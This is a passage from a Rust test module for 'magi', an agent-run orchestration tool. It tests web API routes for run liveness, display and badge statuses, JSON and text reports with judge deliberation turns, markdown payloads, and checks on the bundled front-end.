18495        let list = f.get("/api/runs").await.json();
18496        let labels: Vec<_> = list
18497            .as_array()
18498            .unwrap()
18499            .iter()
18500            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
18501            .collect();
18502        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
18503    }
18504
18505    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
18506    /// review` claims no daemon at all, so before this field existed the
18507    /// route above read it as `"dead"` — indistinguishable from a run a
18508    /// killed process abandoned — the whole time it was genuinely still
18509    /// answering. With a live pid recorded, it must read `"live"` even
18510    /// though no daemon claims it.
18511    #[tokio::test]
18512    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
18513        let f = Fixture::start().await;
18514        let id = "20260922-090000-cccc";
18515        let mut state = RunState::new(
18516            PathBuf::from("/repo/magi"),
18517            "main".to_owned(),
18518            "0123456789abcdef".to_owned(),
18519            "Review only".to_owned(),
18520            Config::default(),
18521        );
18522        state.id = id.to_owned();
18523        state.status = RunStatus::Reviewing;
18524        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
18525        // This test process's own pid: guaranteed alive, and never needs a
18526        // real daemon or a second process to prove it. The matching start-time
18527        // marker is what `liveness` now requires alongside a live pid — see
18528        // `RunState::driver_started_at`'s own doc for why the pid alone is
18529        // not enough.
18530        state.driver_pid = Some(std::process::id());
18531        state.driver_started_at = Some(
18532            crate::proc::process_started_at(std::process::id())
18533                .expect("this test process's own start time must be queryable"),
18534        );
18535        let dir = f.runs().join(id);
18536        std::fs::create_dir_all(&dir).expect("run dir");
18537        std::fs::write(
18538            dir.join("run.json"),
18539            serde_json::to_string_pretty(&state).expect("serialize run"),
18540        )
18541        .expect("write run.json");
18542
18543        let detail = f.get(&format!("/api/runs/{id}")).await.json();
18544        assert_eq!(detail["live"], "live", "{detail}");
18545    }
18546
18547    /// A killed manual run's pid can be handed to a wholly unrelated later
18548    /// process — a live query on `driver_pid` alone would read this as
18549    /// `"live"`, exactly the false positive `driver_started_at` exists to
18550    /// catch (see that field's own doc, and `RunState::liveness_with`'s
18551    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
18552    #[tokio::test]
18553    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
18554        let f = Fixture::start().await;
18555        let id = "20260922-090100-dddd";
18556        let mut state = RunState::new(
18557            PathBuf::from("/repo/magi"),
18558            "main".to_owned(),
18559            "0123456789abcdef".to_owned(),
18560            "Review only".to_owned(),
18561            Config::default(),
18562        );
18563        state.id = id.to_owned();
18564        state.status = RunStatus::Reviewing;
18565        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
18566        // This test process's own pid really is alive, but the marker
18567        // recorded here does not match what it actually started at —
18568        // standing in for the pid having since been reused by a different
18569        // process than the one that wrote `run.json`.
18570        state.driver_pid = Some(std::process::id());
18571        state.driver_started_at = Some("1".to_owned());
18572        let dir = f.runs().join(id);
18573        std::fs::create_dir_all(&dir).expect("run dir");
18574        std::fs::write(
18575            dir.join("run.json"),
18576            serde_json::to_string_pretty(&state).expect("serialize run"),
18577        )
18578        .expect("write run.json");
18579
18580        let detail = f.get(&format!("/api/runs/{id}")).await.json();
18581        assert_eq!(detail["live"], "dead", "{detail}");
18582    }
18583
18584    /// The deck's competition list is normally the first place an operator
18585    /// sees an old run. It must carry the same process verdict as detail, or
18586    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
18587    #[test]
18588    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
18589        let mk = |id: &str, pid: Option<u32>| {
18590            let mut s = RunState::new(
18591                PathBuf::from("/repo/magi"),
18592                "main".to_owned(),
18593                "0123456789abcdef".to_owned(),
18594                "Add a web UI".to_owned(),
18595                Config::default(),
18596            );
18597            s.id = id.to_owned();
18598            s.driver_pid = pid;
18599            s.driver_started_at = Some("1790000000".to_owned());
18600            s
18601        };
18602        let states = vec![
18603            mk("20260902-140502-aaaa", Some(77)),
18604            mk("20260902-140502-bbbb", Some(77)),
18605            mk("20260902-140502-cccc", Some(77)),
18606            mk("20260902-140502-dddd", None),
18607        ];
18608        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
18609        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
18610        let sup: HashMap<String, String> = [(
18611            "20260902-140502-aaaa".to_owned(),
18612            "20260902-140502-cccc".to_owned(),
18613        )]
18614        .into();
18615
18616        let status_calls = std::cell::Cell::new(0);
18617        let identity_calls = std::cell::Cell::new(0);
18618        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
18619            |_| {
18620                status_calls.set(status_calls.get() + 1);
18621                Some(true)
18622            },
18623            |_| {
18624                identity_calls.set(identity_calls.get() + 1);
18625                Some("1790000000".to_owned())
18626            },
18627        ));
18628        let rows = summarize(
18629            states,
18630            &open,
18631            &claimed,
18632            &sup,
18633            |p| probe.borrow_mut().status(p),
18634            |p| probe.borrow_mut().started_at(p),
18635        );
18636
18637        assert_eq!(status_calls.get(), 1, "one pid, one status query");
18638        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
18639        assert_eq!(rows.len(), 4);
18640        assert!(!rows[0].waiting && rows[1].waiting);
18641        assert_eq!(rows[0].live, crate::run::Liveness::Live);
18642        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
18643        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
18644        assert_eq!(rows[1].superseded_by, None);
18645    }
18646
18647    #[test]
18648    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
18649        let mut state = RunState::new(
18650            PathBuf::from("/repo/magi"),
18651            "main".to_owned(),
18652            "0123456789abcdef".to_owned(),
18653            "Review only".to_owned(),
18654            Config::default(),
18655        );
18656        state.id = "20260922-090200-dead".to_owned();
18657        state.status = RunStatus::Reviewing;
18658        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
18659            .expect("serialize list row");
18660        assert_eq!(row["status"], "reviewing");
18661        assert_eq!(row["display_status"], "stale");
18662        assert_eq!(row["live"], "dead", "{row}");
18663        assert!(!row["done"].as_bool().unwrap());
18664    }
18665
18666    #[test]
18667    fn run_display_status_distinguishes_park_crash_and_owner_wait() {
18668        use crate::run::Liveness::{Dead, Live, Unknown};
18669        let mut state = RunState::new(
18670            PathBuf::from("/repo/magi"),
18671            "main".to_owned(),
18672            "abc".to_owned(),
18673            "Review only".to_owned(),
18674            Config::default(),
18675        );
18676        for (status, parked, node, waiting, live, expected) in [
18677            (
18678                RunStatus::Judging,
18679                true,
18680                "github-text",
18681                false,
18682                Dead,
18683                "parked",
18684            ),
18685            (RunStatus::Judging, false, "park", false, Dead, "stale"),
18686            (RunStatus::Judging, false, "judge", false, Dead, "stale"),
18687            (
18688                RunStatus::Judging,
18689                true,
18690                "github-text",
18691                true,
18692                Dead,
18693                "waiting",
18694            ),
18695            (
18696                RunStatus::Judging,
18697                false,
18698                "github-text",
18699                true,
18700                Dead,
18701                "waiting",
18702            ),
18703            (
18704                RunStatus::Judging,
18705                false,
18706                "github-text",
18707                false,
18708                Dead,
18709                "stale",
18710            ),
18711            (RunStatus::Judging, false, "resume", false, Dead, "stale"),
18712            (RunStatus::Judging, true, "park", false, Live, "judging"),
18713            (RunStatus::Judging, true, "park", false, Unknown, "judging"),
18714            (RunStatus::Merged, true, "park", false, Dead, "merged"),
18715            (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
18716            (
18717                RunStatus::Blocked,
18718                true,
18719                "github-text",
18720                true,
18721                Dead,
18722                "waiting",
18723            ),
18724        ] {
18725            state.status = status;
18726            state.parked = parked;
18727            state.events.clear();
18728            state.event(
18729                "park",
18730                "an earlier park does not determine the latest state",
18731            );
18732            state.event(node, "message is not used for classification");
18733            let summary = RunSummary::of(&state, waiting, live);
18734            let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
18735            assert_eq!(
18736                summary.display_status, expected,
18737                "{status:?}/{node}/{live:?}"
18738            );
18739            assert_eq!(detail.display_status, summary.display_status);
18740            assert_eq!(detail.waiting, summary.waiting);
18741        }
18742        state.status = RunStatus::Judging;
18743        state.parked = false;
18744        state.events.clear();
18745        assert_eq!(run_display_status(&state, false, Dead), "stale");
18746    }
18747
18748    #[test]
18749    fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
18750        use crate::run::Liveness::{Dead, Live, Unknown};
18751        let mut state = RunState::new(
18752            PathBuf::from("/repo/magi"),
18753            "main".to_owned(),
18754            "abc".to_owned(),
18755            "Badge".to_owned(),
18756            Config::default(),
18757        );
18758        for (status, waiting, live, superseded, expected) in [
18759            (RunStatus::Gating, false, Dead, false, "stale"),
18760            (RunStatus::Gating, false, Dead, true, "superseded"),
18761            (RunStatus::Gating, false, Unknown, true, "superseded"),
18762            (RunStatus::Gating, true, Dead, true, "superseded"),
18763            (RunStatus::Gating, true, Dead, false, "waiting"),
18764            (RunStatus::Gating, false, Unknown, false, "gating"),
18765            (RunStatus::Gating, false, Live, true, "gating"),
18766            (RunStatus::Gating, true, Live, true, "waiting"),
18767            (RunStatus::Merged, false, Dead, true, "merged"),
18768            (RunStatus::Blocked, false, Dead, true, "blocked"),
18769        ] {
18770            state.status = status;
18771            let display = run_display_status(&state, waiting, live);
18772            assert_eq!(
18773                run_badge_status(&state, &display, live, superseded),
18774                expected,
18775                "{status:?}/{live:?}/superseded={superseded}"
18776            );
18777        }
18778    }
18779
18780    #[test]
18781    fn summarize_and_detail_expose_badge_status() {
18782        use crate::run::Liveness::Dead;
18783        let mut state = RunState::new(
18784            PathBuf::from("/repo/magi"),
18785            "main".to_owned(),
18786            "abc".to_owned(),
18787            "Badge".to_owned(),
18788            Config::default(),
18789        );
18790        state.status = RunStatus::Gating;
18791        let none = HashSet::new();
18792        let id = state.id.clone();
18793        let mut by = HashMap::new();
18794        let rows = summarize(
18795            [state.clone()],
18796            &none,
18797            &none,
18798            &by,
18799            |_| Some(false),
18800            |_| None,
18801        );
18802        // No driver recorded: liveness is not provably dead, so the node stays.
18803        assert_eq!(rows[0].badge_status, rows[0].display_status);
18804        by.insert(id, "20260901-000000-913b".to_owned());
18805        let detail = RunDetailView::of(
18806            state.clone(),
18807            false,
18808            Dead,
18809            Some("913b".to_owned()),
18810            None,
18811            None,
18812        );
18813        assert_eq!(detail.badge_status, "superseded");
18814        let json = serde_json::to_value(&detail).unwrap();
18815        assert_eq!(json["badge_status"], "superseded");
18816        let detail = RunDetailView::of(state, false, Dead, None, None, None);
18817        assert_eq!(detail.badge_status, "stale");
18818    }
18819
18820    #[tokio::test]
18821    async fn run_display_status_routes_share_the_open_question_store() {
18822        let f = Fixture::start().await;
18823        let id = "20260922-090200-abcd";
18824        write_run(&f.runs(), id, RunStatus::Judging);
18825        let mut state = read_run(&f.runs(), id).unwrap();
18826        state.parked = true;
18827        state.driver_exited = true;
18828        state.event("github-text", "waiting for the owner");
18829        state.save_under(f.home.path()).unwrap();
18830        let mut task = Task::new(
18831            "resumed task".to_owned(),
18832            "do it".to_owned(),
18833            PathBuf::from("/repo"),
18834            Source::Human,
18835        );
18836        task.runs = vec![id.to_owned(), id.to_owned()];
18837        f.queue().put(&mut task).unwrap();
18838        let store = f.questions();
18839        let mut q = Question::new(
18840            id.to_owned(),
18841            "github-text".to_owned(),
18842            "owner".to_owned(),
18843            "Approve the text?".to_owned(),
18844            String::new(),
18845            Vec::new(),
18846        );
18847        store.put(&mut q).unwrap();
18848        for expected in ["waiting", "parked"] {
18849            let list = f.get("/api/runs").await.json();
18850            let detail = f.get(&format!("/api/runs/{id}")).await.json();
18851            assert_eq!(list[0]["display_status"], expected);
18852            assert_eq!(detail["display_status"], expected);
18853            assert_eq!(detail["waiting"], list[0]["waiting"]);
18854            assert_eq!(list[0]["badge_status"], expected);
18855            assert_eq!(detail["badge_status"], expected);
18856            assert!(list[0]["superseded_by"].is_null());
18857            assert!(detail["superseded_by"].is_null());
18858            let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
18859            let history = task_detail["history"].as_array().unwrap();
18860            assert_eq!(history.len(), 2);
18861            assert!(history[0]["badge"].is_null());
18862            assert_eq!(history[1]["badge"], expected);
18863            q.status = ask::QuestionStatus::Answered;
18864            store.put(&mut q).unwrap();
18865        }
18866    }
18867
18868    #[tokio::test]
18869    async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
18870        let f = Fixture::start().await;
18871        let id = "20260922-090200-abcd";
18872        write_run(&f.runs(), id, RunStatus::Judging);
18873        let mut state = read_run(&f.runs(), id).unwrap();
18874        state.parked = true;
18875        state.driver_exited = true;
18876        state.event("park", "stopped at a node boundary");
18877        state.save_under(f.home.path()).unwrap();
18878
18879        for expected in ["parked", "stale"] {
18880            let list = f.get("/api/runs").await.json();
18881            let detail = f.get(&format!("/api/runs/{id}")).await.json();
18882            assert_eq!(list[0]["live"], "dead");
18883            assert_eq!(list[0]["display_status"], expected);
18884            assert_eq!(detail["display_status"], expected);
18885            // Model a driver claim followed by a crash before the next event:
18886            // the persisted flag changes, but the last event is still park.
18887            state.parked = false;
18888            state.save_under(f.home.path()).unwrap();
18889        }
18890    }
18891
18892    #[tokio::test]
18893    async fn the_run_list_is_newest_first_and_honours_a_limit() {
18894        let f = Fixture::start().await;
18895        for id in [
18896            "20260902-140501-aaaa",
18897            "20260902-140502-bbbb",
18898            "20260902-140503-cccc",
18899        ] {
18900            write_run(&f.runs(), id, RunStatus::Merged);
18901        }
18902
18903        let all = f.get("/api/runs").await.json();
18904        let capped = f.get("/api/runs?limit=2").await.json();
18905
18906        assert_eq!(all[0]["id"], "20260902-140503-cccc");
18907        assert_eq!(all.as_array().map(Vec::len), Some(3));
18908        assert_eq!(capped.as_array().map(Vec::len), Some(2));
18909        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
18910    }
18911
18912    #[tokio::test]
18913    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
18914        let f = Fixture::start().await;
18915        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
18916
18917        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
18918
18919        assert_eq!(res.status, 200);
18920        assert!(
18921            res.headers
18922                .contains("content-type: text/plain; charset=utf-8"),
18923            "a browser must render it, not download it: {}",
18924            res.headers
18925        );
18926        // The assertion is on content, not on the absence of escapes: colour
18927        // is a process-global that `serve` turns off at startup, and another
18928        // test in this binary may own it while this one runs.
18929        assert!(
18930            res.body.contains("20260902-140501-a1b2"),
18931            "the report is about the run that was asked for: {}",
18932            res.body
18933        );
18934    }
18935
18936    #[tokio::test]
18937    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
18938        // The view names the run's state directory, which reads the process-global home.
18939        crate::run::pin_test_home();
18940        let f = Fixture::start().await;
18941        let id = "20260902-140501-a1b2";
18942        write_run(&f.runs(), id, RunStatus::Stalled);
18943        // A stalled panel and one review round, written through the real
18944        // state file so the route reads what a run really leaves behind.
18945        let path = f.runs().join(id).join("run.json");
18946        let mut v: serde_json::Value =
18947            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
18948        v["tally"] = serde_json::json!({
18949            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
18950            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
18951            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
18952            "met_quorum": false, "rankings": 1
18953        });
18954        v["reviews"] = serde_json::json!([{
18955            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
18956            "e2e_deferred": true,
18957            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
18958                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
18959            ]}]
18960        }]);
18961        std::fs::write(&path, v.to_string()).unwrap();
18962        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
18963        std::fs::write(
18964            f.runs().join("20260902-140502-dead").join("run.json"),
18965            "{not json",
18966        )
18967        .unwrap();
18968
18969        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
18970
18971        assert_eq!(res.status, 200, "{}", res.body);
18972        assert!(res.headers.contains("content-type: application/json"));
18973        let j = res.json();
18974        assert_eq!(j["schema"], 1);
18975        assert_eq!(j["header"]["id"], id);
18976        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
18977        let kinds: Vec<&str> = j["sections"]
18978            .as_array()
18979            .unwrap()
18980            .iter()
18981            .map(|s| s["kind"].as_str().unwrap())
18982            .collect();
18983        assert_eq!(kinds, ["candidates", "tally", "review"]);
18984        let tally = &j["sections"][1]["tally"];
18985        assert_eq!(
18986            (tally["decided"].clone(), tally["provisional"].clone()),
18987            (false.into(), true.into())
18988        );
18989        let round = &j["sections"][2]["rounds"][0];
18990        assert_eq!(round["e2e"]["state"], "deferred");
18991        assert_eq!(round["findings"][0]["severity"], "major");
18992        assert_eq!(round["findings"][0]["blocking"], true);
18993        assert_eq!(round["findings"][0]["state"], "open");
18994
18995        // The raw route keeps working beside it.
18996        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
18997
18998        // An unreadable run is an error, as on the text route, and is counted.
18999        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
19000        assert_ne!(bad.status, 200, "{}", bad.body);
19001        assert_eq!(
19002            bad.status,
19003            f.get("/api/runs/20260902-140502-dead/report").await.status
19004        );
19005        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
19006        assert_eq!(
19007            f.get("/api/runs/20260902-999999-ffff/report.json")
19008                .await
19009                .status,
19010            404
19011        );
19012    }
19013
19014    #[tokio::test]
19015    async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
19016        crate::run::pin_test_home();
19017        let f = Fixture::start().await;
19018        let id = "20260902-140503-delib";
19019        write_run(&f.runs(), id, RunStatus::Merged);
19020        let path = f.runs().join(id).join("run.json");
19021        let mut v: serde_json::Value =
19022            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19023        v["judgements"] = serde_json::json!([
19024            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19025        ]);
19026        v["tally"] = serde_json::json!({
19027            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19028            "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
19029            "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
19030            "met_quorum": true, "rankings": 1
19031        });
19032        v["deliberation"] = serde_json::json!([
19033            {
19034                "round": 1,
19035                "turns": [
19036                    {
19037                        "judge": 1,
19038                        "agent": "judge-1",
19039                        "body": "I prefer candidate **A** because it has cleaner tests.",
19040                        "tentative": "A"
19041                    }
19042                ]
19043            },
19044            {
19045                "round": 2,
19046                "turns": [
19047                    {
19048                        "judge": 1,
19049                        "agent": "judge-1",
19050                        "body": "Still thinking, no choice yet.",
19051                        "tentative": null
19052                    }
19053                ]
19054            }
19055        ]);
19056        std::fs::write(&path, v.to_string()).unwrap();
19057
19058        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19059        assert_eq!(res.status, 200, "{}", res.body);
19060        let j = res.json();
19061        let judging = j["sections"]
19062            .as_array()
19063            .unwrap()
19064            .iter()
19065            .find(|s| s["kind"] == "judging")
19066            .expect("judging section exists");
19067
19068        // Existing summary lines remain intact
19069        let delib_lines = judging["deliberation"].as_array().unwrap();
19070        assert_eq!(delib_lines.len(), 2);
19071        assert_eq!(delib_lines[0], "r1 judge 1 -> A");
19072        assert_eq!(delib_lines[1], "r2 judge 1 -> -");
19073
19074        // rounds carry turn bodies, tentative and parsed body_md
19075        let rounds = judging["rounds"].as_array().unwrap();
19076        assert_eq!(rounds.len(), 2);
19077        let r1_t0 = &rounds[0]["turns"][0];
19078        assert_eq!(r1_t0["judge"], 1);
19079        assert_eq!(r1_t0["agent"], "judge-1");
19080        assert_eq!(r1_t0["tentative"], "A");
19081        assert_eq!(
19082            r1_t0["body"],
19083            "I prefer candidate **A** because it has cleaner tests."
19084        );
19085        assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
19086
19087        let r2_t0 = &rounds[1]["turns"][0];
19088        assert_eq!(r2_t0["judge"], 1);
19089        assert_eq!(r2_t0["agent"], "judge-1");
19090        assert!(r2_t0["tentative"].is_null());
19091        assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
19092        assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
19093
19094        // A run with empty deliberation array yields empty rounds
19095        let id_empty = "20260902-140504-nodelib";
19096        write_run(&f.runs(), id_empty, RunStatus::Merged);
19097        let path_empty = f.runs().join(id_empty).join("run.json");
19098        let mut v_empty: serde_json::Value =
19099            serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
19100        v_empty["judgements"] = serde_json::json!([
19101            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19102        ]);
19103        v_empty["deliberation"] = serde_json::json!([]);
19104        std::fs::write(&path_empty, v_empty.to_string()).unwrap();
19105
19106        let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
19107        assert_eq!(res_empty.status, 200, "{}", res_empty.body);
19108        let j_empty = res_empty.json();
19109        let judging_empty = j_empty["sections"]
19110            .as_array()
19111            .unwrap()
19112            .iter()
19113            .find(|s| s["kind"] == "judging")
19114            .expect("judging section exists");
19115        assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
19116    }
19117
19118    #[tokio::test]
19119    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
19120        let f = Fixture::start().await;
19121
19122        let html = f.get("/").await;
19123        let css = f.get("/app.css").await;
19124        let js = f.get("/app.js").await;
19125
19126        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
19127        assert!(
19128            html.headers
19129                .contains("content-type: text/html; charset=utf-8")
19130        );
19131        assert!(css.headers.contains("content-type: text/css"));
19132        assert!(js.headers.contains("content-type: text/javascript"));
19133        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
19134    }
19135
19136    #[test]
19137    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
19138        let body = |name: &str| {
19139            let at = APP_JS
19140                .find(name)
19141                .unwrap_or_else(|| panic!("{name} missing"));
19142            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19143        };
19144        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
19145        let note = body("function landRoundNote");
19146        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
19147        assert!(note.contains("Land round ${round}"));
19148        let land = body("function renderLand");
19149        let note_at = land
19150            .find("landRoundNote(pr)")
19151            .expect("renderLand uses the note");
19152        assert!(
19153            note_at
19154                < land
19155                    .find("roundRail(pr)")
19156                    .expect("renderLand uses the rail")
19157        );
19158    }
19159
19160    #[test]
19161    fn the_runs_page_redesign_keeps_its_guards() {
19162        let body = |name: &str| {
19163            let at = APP_JS
19164                .find(name)
19165                .unwrap_or_else(|| panic!("{name} missing"));
19166            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19167        };
19168        // A null child must never reach the native append (it prints "null").
19169        let land = body("function renderLand");
19170        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
19171        assert!(
19172            !land.contains("box.append("),
19173            "renderLand must use append()"
19174        );
19175        assert!(land.contains("append(box, ["));
19176        // Tabs are hash routes; the run id alone decides a reload.
19177        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
19178        assert!(
19179            body("function applyRoute")
19180                .contains("route.name !== state.route.name || route.id !== state.route.id")
19181        );
19182        // The decorative diagram is gone, the strip and its guards stay.
19183        assert!(!APP_JS.contains("adviseConvergeDiagram"));
19184        assert!(!INDEX_HTML.contains("advise-converge"));
19185        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
19186        assert!(APP_JS.contains("provisional"));
19187        for id in [
19188            "run-tab-overview",
19189            "run-tab-timeline",
19190            "run-tab-report",
19191            "run-report",
19192            "runs-scope",
19193        ] {
19194            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
19195        }
19196        assert!(!INDEX_HTML.contains("runs-tree"));
19197        assert!(!INDEX_HTML.contains("run-raw-panel"));
19198        // Fold still says it cannot be resumed.
19199        assert!(APP_JS.contains("resume"));
19200        // The unreadable-runs count stays on the page.
19201        assert!(APP_JS.contains("unreadable"));
19202    }
19203
19204    #[test]
19205    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
19206        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
19207        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
19208        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
19209        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
19210        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
19211        // The subtitle still counts them whatever the banner does.
19212        assert!(APP_JS.contains("unreadable` : null"));
19213    }
19214
19215    #[test]
19216    fn blocked_run_detail_exposes_the_failed_gate_reason() {
19217        let mut state = RunState::new(
19218            "/repo".into(),
19219            "main".into(),
19220            "abc".into(),
19221            "task".into(),
19222            crate::config::Config::default(),
19223        );
19224        state.status = RunStatus::Blocked;
19225        state.gate_ran = true;
19226        state.gate.push(crate::run::CommandOutcome {
19227            command: "cargo make check".into(),
19228            code: Some(1),
19229            output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
19230            duration_ms: 0,
19231            resource_blocked: false,
19232        });
19233        let view = RunDetailView::of(
19234            state,
19235            false,
19236            crate::run::Liveness::Unknown,
19237            None,
19238            None,
19239            None,
19240        );
19241        let value = serde_json::to_value(view).unwrap();
19242        assert_eq!(
19243            value["stop_reason"],
19244            "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
19245        );
19246    }
19247
19248    #[test]
19249    fn the_run_detail_payload_says_whether_the_run_is_done() {
19250        // `landView` reads `run.done`; the detail response must carry it.
19251        for (status, done) in [
19252            (RunStatus::Superseded, true),
19253            (RunStatus::Blocked, true),
19254            (RunStatus::Landing, false),
19255        ] {
19256            let mut state = RunState::new(
19257                std::path::PathBuf::from("/repo"),
19258                "main".to_owned(),
19259                "abc".to_owned(),
19260                "x".to_owned(),
19261                crate::config::Config::default(),
19262            );
19263            state.status = status;
19264            let v = serde_json::to_value(RunDetailView::of(
19265                state,
19266                false,
19267                crate::run::Liveness::Unknown,
19268                None,
19269                None,
19270                None,
19271            ))
19272            .unwrap();
19273            assert_eq!(v["done"], done, "{status:?}");
19274        }
19275    }
19276
19277    /// The first node of a markdown block holds a `strong` somewhere.
19278    fn has_strong(nodes: &[md::Node]) -> bool {
19279        serde_json::to_string(nodes).unwrap().contains("strong")
19280    }
19281
19282    #[test]
19283    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
19284        let mut state = RunState::new(
19285            std::path::PathBuf::from("/repo"),
19286            "main".to_owned(),
19287            "abc".to_owned(),
19288            "x".to_owned(),
19289            crate::config::Config::default(),
19290        );
19291        let proposal = |approach: &str| {
19292            serde_json::json!({
19293                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
19294            })
19295        };
19296        state.advice = Some(
19297            serde_json::from_value(serde_json::json!({
19298                "records": [
19299                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
19300                     "proposal": proposal("do **this**")},
19301                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
19302                ],
19303                "synthesis": "- one\n- **two**\n\n`code`",
19304            }))
19305            .unwrap(),
19306        );
19307        state.candidates = serde_json::from_value(serde_json::json!([
19308            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
19309             "summary": "did **it**"},
19310            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
19311        ]))
19312        .unwrap();
19313        // Recorded in ascending severity, the reverse of how the page sorts
19314        // them: the arrays must follow the record, not the display.
19315        state.reviews = serde_json::from_value(serde_json::json!([{
19316            "round": 1, "head": "h",
19317            "reviews": [{
19318                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
19319                "findings": [
19320                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
19321                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
19322                ],
19323            }],
19324            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
19325            "fix": {"agent": "a", "notes": "fixed **it**",
19326                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
19327        }, {"round": 2, "head": "h2", "reviews": []}]))
19328        .unwrap();
19329
19330        let v = serde_json::to_value(RunDetailView::of(
19331            state,
19332            false,
19333            crate::run::Liveness::Unknown,
19334            None,
19335            None,
19336            None,
19337        ))
19338        .unwrap();
19339
19340        let strong = |p: &str| {
19341            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
19342            assert!(n.to_string().contains("strong"), "{p}: {n}");
19343        };
19344        strong("/advice_md/synthesis");
19345        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
19346        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
19347        strong("/advice_md/approaches/0");
19348        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
19349        strong("/candidate_summaries_md/0");
19350        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
19351        strong("/reviews_md/0/reviewers/0/summary");
19352        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
19353        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
19354        assert!(f[1].to_string().contains("strong"));
